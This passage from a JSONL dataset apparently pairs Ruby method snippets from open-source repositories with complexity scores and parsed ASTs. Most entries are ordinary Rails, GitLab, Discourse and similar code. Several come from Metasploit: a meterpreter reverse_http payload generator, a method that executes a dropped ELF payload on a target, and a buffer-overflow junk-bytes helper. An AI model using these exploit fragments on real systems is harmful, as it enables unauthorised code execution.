end","complexity_score":11.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"keys_to_symbols\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"arg\",\"children\":[\"memo\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memo\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"b\"]},\"to_s\"]},\"to_sym\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"lvar\",\"children\":[\"memo\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"7d8c96a9-6f74-4d8a-91d0-693316ef2997"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":368,"raw_source":"def before(controller)\n      controller.class.execution_log << \" before appended aroundfilter \"\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"before\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"class\"]},\"execution_log\"]},\"<<\",{\"type\":\"str\",\"children\":[\" before appended aroundfilter \"]}]}]}","id":"a4ebfdf5-a2d8-4ffa-a85f-f55b2695499d"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/lib/call_conversion_helper.rb","start_line":82,"raw_source":"def process_hash_access hash, index, original_exp = nil\n      if value = hash_access(hash, index)\n        value # deep_clone?\n      elsif all_literals? hash, :hash\n        safe_literal(hash.line)\n      else\n        original_exp\n      end\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"process_hash_access\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"index\"]},{\"type\":\"optarg\",\"children\":[\"original_exp\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"hash_access\",{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_literals?\",{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"sym\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[null,\"safe_literal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"line\"]}]},{\"type\":\"lvar\",\"children\":[\"original_exp\"]}]}]}]}","id":"45fde790-4b06-4afb-beaf-0290636babd8"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/work_package_at_timestamp_representer.rb","start_line":112,"raw_source":"def changed_properties_as_api_name\n          # This conversion is good enough for the set of supported properties as it\n          # * Converts assigned_to_id to assignee\n          # * does not mess with `start_date` and `due_date`\n          if represented.exists_at_current_timestamp?\n            represented\n              .attributes_changed_to_baseline\n              .flat_map do |property|\n              if property.ends_with?(\"_id\")\n                API::Utilities::PropertyNameConverter.from_ar_name(property)\n              elsif %w[start_date due_date].include?(property)\n                [\"date\", property]\n              else\n                property\n              end\n            end\n          else\n            SUPPORTED_PROPERTIES\n          end\n        end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"changed_properties_as_api_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"exists_at_current_timestamp?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"attributes_changed_to_baseline\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property\"]},\"ends_with?\",{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Utilities\"]},\"PropertyNameConverter\"]},\"from_ar_name\",{\"type\":\"lvar\",\"children\":[\"property\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"start_date\"]},{\"type\":\"str\",\"children\":[\"due_date\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"property\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"date\"]},{\"type\":\"lvar\",\"children\":[\"property\"]}]},{\"type\":\"lvar\",\"children\":[\"property\"]}]}]}]},{\"type\":\"const\",\"children\":[null,\"SUPPORTED_PROPERTIES\"]}]}]}","id":"a1e7ce7b-02d3-429a-9720-49c61bffbb1a"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_error_logger.rb","start_line":9,"raw_source":"def test_stdio\n    error_logger = Puma::ErrorLogger.stdio\n\n    assert_equal STDERR, error_logger.ioerr\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_stdio\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"ErrorLogger\"]},\"stdio\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"STDERR\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_logger\"]},\"ioerr\"]}]}]}]}","id":"1be50c50-2b3c-41f5-8d67-cdc152f67f24"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb","start_line":34,"raw_source":"def generate(_opts = {})\n    opts = {\n      scheme: 'http',\n      stageless: true\n    }.merge(mettle_logging_config)\n    MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config(opts)).to_binary :exec\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheme\"]},{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stageless\"]},{\"type\":\"true\",\"children\":[]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"mettle_logging_config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MetasploitPayloads\"]},\"Mettle\"]},\"new\",{\"type\":\"str\",\"children\":[\"powerpc64le-linux-musl\"]},{\"type\":\"send\",\"children\":[null,\"generate_config\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},\"to_binary\",{\"type\":\"sym\",\"children\":[\"exec\"]}]}]}]}","id":"06a621aa-99b1-41ae-9f99-aaac5490c627"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/app/controllers/active_storage/direct_uploads_controller.rb","start_line":7,"raw_source":"def create\n    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args)\n    render json: direct_upload_json(blob)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blob\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"create_before_direct_upload!\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blob_args\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"direct_upload_json\",{\"type\":\"lvar\",\"children\":[\"blob\"]}]}]}]}]}]}]}","id":"9e0ae5ce-0c94-4bd8-a5fe-9f4b6b70c5e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/file_finder.rb","start_line":11,"raw_source":"def initialize(project, ref)\n      @project = project\n      @ref = ref\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ref\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]}","id":"63668623-24f6-49f3-b240-4f956d625eb6"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/components/openid_connect/providers/sections/form_component.rb","start_line":82,"raw_source":"def button_label\n      return I18n.t(:button_save) unless new_mode\n\n      if next_edit_state.nil?\n        I18n.t(:button_finish_setup)\n      else\n        I18n.t(:button_continue)\n      end\n    end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"button_label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_mode\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"button_save\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_edit_state\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"button_finish_setup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"button_continue\"]}]}]}]}]}","id":"c8ced501-ce26-4418-8286-eb724913d7ad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240326082844_fix_work_item_colors_cascade_option_on_fk_to_namespace_id.rb","start_line":21,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key_if_exists(\n        :work_item_colors,\n        column: :namespace_id,\n        on_delete: :cascade,\n        name: NEW_FK_NAME\n      )\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"work_item_colors\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"NEW_FK_NAME\"]}]}]}]}]}]}","id":"3fe39462-d65e-4a7c-8166-5f2f04441f38"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":1124,"raw_source":"def test_preload_with_grouping_sets_inverse_association\n    mary = authors(:mary)\n    bob = authors(:bob)\n\n    AuthorFavorite.create!(author: mary, favorite_author: bob)\n    favorites = AuthorFavorite.all.load\n\n    assert_queries_count(1) do\n      preloader = ActiveRecord::Associations::Preloader.new(records: favorites, associations: [:author, :favorite_author])\n      preloader.call\n    end\n\n    assert_no_queries do\n      favorites.first.author\n      favorites.first.favorite_author\n    end\n  end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preload_with_grouping_sets_inverse_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mary\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"mary\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bob\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"bob\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuthorFavorite\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"lvar\",\"children\":[\"mary\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"favorite_author\"]},{\"type\":\"lvar\",\"children\":[\"bob\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"favorites\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuthorFavorite\"]},\"all\"]},\"load\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"preloader\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"lvar\",\"children\":[\"favorites\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"sym\",\"children\":[\"favorite_author\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preloader\"]},\"call\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"favorites\"]},\"first\"]},\"author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"favorites\"]},\"first\"]},\"favorite_author\"]}]}]}]}]}","id":"2d63f18f-cd2b-407b-a5c9-6667be767d64"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/opennms_java_serialize.rb","start_line":118,"raw_source":"def exec_payload\n    cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)\n\n    vprint_status(\"#{peer} - Executing the payload...\")\n    res = exec_command(cmd)\n\n    fail_with(Failure::Unknown, \"#{peer} - Unable to exec payload\") unless res\n\n    Rex.sleep(1)\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exec_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WRITABLEDIR\"]}]},{\"type\":\"ivar\",\"children\":[\"@dropped_elf\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Executing the payload...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"exec_command\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to exec payload\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"94c5450d-1029-4082-b341-40e2f2e735ea"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twitter/direct_message_parser_service.rb","start_line":4,"raw_source":"def perform\n    return if source_app_id == parent_app_id\n\n    set_inbox\n    ensure_contacts\n    set_conversation\n    @message = @conversation.messages.create!(\n      content: message_create_data['message_data']['text'],\n      account_id: @inbox.account_id,\n      inbox_id: @inbox.id,\n      message_type: outgoing_message? ? :outgoing : :incoming,\n      sender: @contact,\n      source_id: direct_message_data['id']\n    )\n    attach_files\n  end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_app_id\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"parent_app_id\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"set_inbox\"]},{\"type\":\"send\",\"children\":[null,\"ensure_contacts\"]},{\"type\":\"send\",\"children\":[null,\"set_conversation\"]},{\"type\":\"ivasgn\",\"children\":[\"@message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"messages\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message_create_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message_data\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"text\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inbox_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_type\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"outgoing_message?\"]},{\"type\":\"sym\",\"children\":[\"outgoing\"]},{\"type\":\"sym\",\"children\":[\"incoming\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sender\"]},{\"type\":\"ivar\",\"children\":[\"@contact\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"direct_message_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"attach_files\"]}]}]}","id":"9616975c-6775-423c-b242-cf4aca30aaee"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb","start_line":72,"raw_source":"def junk(n = 4)\n    return rand_text_alpha(n).unpack(\"V\").first\n  end","complexity_score":4.85,"ast_json":"{\"type\":\"def\",\"children\":[\"junk\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"n\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"lvar\",\"children\":[\"n\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"first\"]}]}]}","id":"9ef88f22-113d-4fba-a9b1-744b6f0d76b6"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/group.rb","start_line":474,"raw_source":"def set_message_default_notification_levels!(topic, ignore_existing: false)\n    if user_count > SiteSetting.group_pm_user_limit\n      raise GroupPmUserLimitExceededError,\n            I18n.t(\n              \"groups.errors.default_notification_level_users_limit\",\n              count: SiteSetting.group_pm_user_limit,\n              group_name: name,\n            )\n    end\n\n    group_users\n      .pluck(:user_id, :notification_level)\n      .each do |user_id, notification_level|\n        next if user_id == Discourse::SYSTEM_USER_ID\n        next if user_id == topic.user_id\n        next if ignore_existing && TopicUser.where(user_id: user_id, topic_id: topic.id).exists?\n\n        action =\n          case notification_level\n          when TopicUser.notification_levels[:tracking]\n            \"track!\"\n          when TopicUser.notification_levels[:regular]\n            \"regular!\"\n          when TopicUser.notification_levels[:muted]\n            \"mute!\"\n          when TopicUser.notification_levels[:watching]\n            \"watch!\"\n          else\n            \"track!\"\n          end\n\n        topic.notifier.public_send(action, user_id)\n      end\n  end","complexity_score":49.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set_message_default_notification_levels!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]},{\"type\":\"kwoptarg\",\"children\":[\"ignore_existing\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_count\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"group_pm_user_limit\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"GroupPmUserLimitExceededError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"groups.errors.default_notification_level_users_limit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"group_pm_user_limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_users\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"notification_level\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"notification_level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"SYSTEM_USER_ID\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"user_id\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_existing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]}]}]},\"exists?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_level\"]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"notification_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tracking\"]}]},{\"type\":\"str\",\"children\":[\"track!\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"notification_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"regular\"]}]},{\"type\":\"str\",\"children\":[\"regular!\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"notification_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"muted\"]}]},{\"type\":\"str\",\"children\":[\"mute!\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"notification_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"watching\"]}]},{\"type\":\"str\",\"children\":[\"watch!\"]}]},{\"type\":\"str\",\"children\":[\"track!\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"notifier\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}]}]}","id":"5dd07d45-094e-4778-8f34-7910bb5caf29"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/dns/native_server.rb","start_line":114,"raw_source":"def on_send_response(cli, data)\n    res = Packet.encode_drb(data)\n    peer = \"#{cli.peerhost}:#{cli.peerport}\"\n    asked = res.question.map(&:qname).map(&:to_s).join(', ')\n    vprint_status(\"Sending response for #{asked} to #{peer}\")\n    cli.write(data)\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"encode_drb\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerport\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"asked\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"question\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"qname\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending response for 